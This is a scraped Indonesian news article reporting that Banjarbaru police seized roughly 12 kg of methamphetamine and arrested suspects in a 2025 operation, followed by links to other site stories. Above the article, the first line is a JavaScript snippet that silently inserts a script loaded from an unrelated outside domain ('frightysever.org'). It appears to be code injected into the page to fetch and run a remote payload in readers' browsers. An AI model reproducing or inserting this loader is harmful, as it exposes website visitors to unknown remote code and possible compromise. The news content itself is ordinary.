(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Barang bukti narkotika jenis sabu seberat 12 kilogram (Kg) disita Kepolisian Resor (Polres) Banjarbaru dalam gelaran Operasi Antik Intan tahun 2025.
Satuan Reserse Narkoba Polres Banjarbaru mengamakan 26 tersangka dari 23 kasus sejak Operasi Antik Intan digelar mulai 17 hingga 30 Juni 2025.
Kapolres Banjarbaru, AKBP Pius X Febry Aceng Loda mengungkapkan bahwa petugas pertama kali mengamankan satu tersangka berinisial R (34) dan satu perempuan berinisial S (40).
Kedua tersangka pertama ini diamankan pada 3 Juli sekitar pukul 02.00 Wita tepatnya di Desa Pasar Kamis, Kecamatan Kertak Hanyar, Kabupaten Banjar.
Baca juga: Wujudkan Lingkungan Sehat, Pemdes Danau Rawah Bangun Jamban Sehat
“Dari dua tersangka pertama ditemukan barang bukti 16 lembar plastik klip yang di dalamnya terdapat narkotika jenis sabu dengan berat bersih 42,56 gram,” ujar Kapolres Banjarbaru, AKBP Pius X Febry Aceng Loda dalam konferensi pers, Senin (14/7/2025).
Menurut keterangan R, tersangka mendapatkan narkotika dari orang lain berinisial MR (23) di Desa Semangat Dalam, Kecamatan Alalak, Kabupaten Barito Kuala.
Kapolres Banjarbaru, AKBP Pius X Febry Aceng Loda. Foto: wanda
Bermodal keterangan dua tersangka, Tim Satresnarkoba langsung mendatangi tempat tersebut dan berhasil menangkap MR sekitar pukul 17.30 Wita. MR saat itu membawa satu lembar plastik klip yang berisi sabu dengan berat bersih 99,08 gram.
Baca juga: Bupati Wiyatno Apresiasi BRI dalam Mendukung Inklusi Keuangan di Kabupaten Kapuas
“Setelah dilakukan introgasi kepada MR, dirinya masih menyimpan narkotika jenis sabu di sebuah rumah yang berada di Jalan Garis 1 Desa Semangat Dalam, Kecamatan Alalak Kabupaten Barito Kuala,” sambung dia.
Tim Satresnarkoba Polres Banjarbaru kemudian langsung mendatangi rumah terebut dan melakukan penggeledahan, tidak lama kemudian mendapatkan barang bukti narkotika jenis sabu dengan total berat bersih keseluruhan 12,01 Kg.
Kapolres menyatakan bahwa adanya jaringan narkotika antar provinsi yang juga diduga merupakan bagian jaringan Fredy Pratama.
“Para tersangka ini diancam hukuman penjara paling singkat enam tahun dan paling lama seumur hidup bahkan sampai hukuman mati sesuai dengan pasal 114 ayat (2) sub pasal 112 ayat (2) UU RI No. 35 tahun 2009 tentang narkotika,” sebutnya.
Baca juga: Kapolres Cup Body Contest Championship 2025 Dibuka Bupati Kapuas
Apabila ditaksir dengan rupiah untuk 1 Kg bernilai kurang lebih Rp650 juta, sehingga total keseluruhan sabu yang berhasil digagalkan peredaran bernilai Rp7,8 miliar.
Dari kasus ini, Polres Banjarbaru berhasil menyelamatkan sebanyak 149.095 jiwa. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More
KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More
KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More
This website uses cookies.